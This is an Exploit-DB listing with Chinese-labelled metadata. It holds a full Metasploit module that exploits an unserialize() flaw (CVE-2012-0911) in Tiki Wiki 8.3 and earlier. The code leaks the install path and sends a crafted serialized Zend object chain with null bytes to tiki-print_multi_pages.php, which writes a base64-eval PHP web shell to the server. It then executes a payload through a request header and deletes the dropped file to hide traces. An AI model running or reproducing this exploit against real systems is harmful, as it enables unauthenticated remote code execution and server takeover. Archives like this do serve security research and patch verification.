标题: Tiki Wiki CMS Groupware 8.3 - 'Unserialize()' PHP Code Execution (Metasploit) EDB-ID: 19630 CVE: 2012-3996 2012-0911 类型: WEBAPPS 平台: PHP 发布日期: 2012-07-09 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Tiki Wiki <= 8.3 unserialize() PHP Code Execution',
   'Description'    => %q{
     This module exploits a php unserialize() vulnerability in Tiki Wiki <= 8.3
    which could be abused to allow unauthenticated users to execute arbitrary code
    under the context of the webserver user.

    The dangerous unserialize() exists in the 'tiki-print_multi_pages.php' script,
    which is called with user controlled data from the 'printpages' parameter.
    The exploit abuses the __destruct() method from the Zend_Pdf_ElementFactory_Proxy
    class to write arbitrary PHP code to a file on the Tiki Wiki web directory.

    In order to run successfully three conditions must be satisfied (1) display_errors
    php setting must be On to disclose the filesystem path of Tiki Wiki, (2) The Tiki
    Wiki Multiprint feature must be enabled to exploit the unserialize() and (3) a php
    version older than 5.3.4 must be used to allow poison null bytes in filesystem related
    functions. The exploit has been tested successfully on Ubuntu 9.10 and Tiki Wiki 8.3.
   },
   'Author' =>
    [
     'EgiX', # Vulnerability discovery and PoC
     'juan vazquez' # Metasploit module
    ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision$',
   'References'     =>
    [
     [ 'CVE', '2012-0911' ],
     [ 'BID', '54298' ],
     [ 'EDB', '19573' ],
     [ 'URL', 'http://dev.tiki.org/item4109' ]
    ],
   'Privileged'     => false,
   'Platform'       => ['php'],
   'Arch'           => ARCH_PHP,
   'Payload'        =>
    {
     'DisableNops' => true,
    },
   'Targets'        => [ ['Automatic', {}] ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Jul 04 2012'
   ))

   register_options(
    [
     OptString.new('TARGETURI', [ true, "The base path to the web application", "/tiki/"])
    ], self.class)
 end


 def on_new_session(client)
  if client.type == "meterpreter"
   client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
   begin
    client.fs.file.rm(@upload_php)
    print_good("#{@peer} - #{@upload_php} removed to stay ninja")
   rescue
    print_error("#{@peer} - Unable to remove #{f}")
   end
  end
 end

 def exploit
  base = target_uri.path
  base << '/' if base[-1, 1] != '/'
  @upload_php = rand_text_alpha(rand(4) + 4) + ".php"
  @peer = "#{rhost}:#{rport}"

  print_status("#{@peer} - Disclosing the path of the Tiki Wiki on the filesystem")

  res = send_request_cgi(
   'uri' => "#{base}tiki-rss_error.php"
  )

  if not res or res.code != 200 or not res.body =~ /[> ](\/.*)tiki-rss_error\.php/
   print_error "Tiki Wiki path couldn't be disclosed. The php setting 'display_errors' must be On."
   return
  else
   tiki_path = $1
   print_good "#{@peer} - Tiki Wiki path disclosure: #{tiki_path}"
  end

  php_payload = "<?php eval(base64_decode($_SERVER[HTTP_CMD])); ?>"

  printpages = "O:29:\"Zend_Pdf_ElementFactory_Proxy\":1:"
  printpages << "{s:39:\"%00Zend_Pdf_ElementFactory_Proxy%00_factory\";O:51:\"Zend_Search_Lucene_Index_SegmentWriter_StreamWriter\":5:"
  printpages << "{s:12:\"%00*%00_docCount\";i:1;s:8:\"%00*%00_name\";s:3:\"foo\";s:13:\"%00*%00_directory\";O:47:\"Zend_Search_Lucene_Storage_Directory_Filesystem\":1:"
  printpages << "{s:11:\"%00*%00_dirPath\";s:#{tiki_path.length + @upload_php.length + 1}:\"#{tiki_path + @upload_php}%00\";}"
  printpages << "s:10:\"%00*%00_fields\";a:1:"
  printpages << "{i:0;O:34:\"Zend_Search_Lucene_Index_FieldInfo\":1:"
  printpages << "{s:4:\"name\";s:#{php_payload.length}:\"#{php_payload}\";}}"
  printpages << "s:9:\"%00*%00_files\";O:8:\"stdClass\":0:{}}}"

  print_status("#{@peer} - Exploiting the unserialize() to upload PHP code")

  res = send_request_cgi(
  {
   'uri' => "#{base}tiki-print_multi_pages.php",
   'method' => 'POST',
   'vars_post' => {
    'printpages' => printpages
   }
  })

  if not res or res.code != 200
   print_error("#{@peer} - Exploit failed: #{res.code}. The Tiki Wiki Multiprint feature must be enabled.")
   return
  end

  print_status("#{@peer} - Executing the payload #{@upload_php}")

  res = send_request_cgi(
  {
   'method' => 'GET',
   'uri'    => "#{base + @upload_php}",
   'headers' => {
    'Cmd' => Rex::Text.encode_base64(payload.encoded)
   }
  })

  if res
   print_error("#{@peer} - Payload execution failed: #{res.code}")
   return
  end

 end
end URL: https://www.exploit-db.com/exploits/19630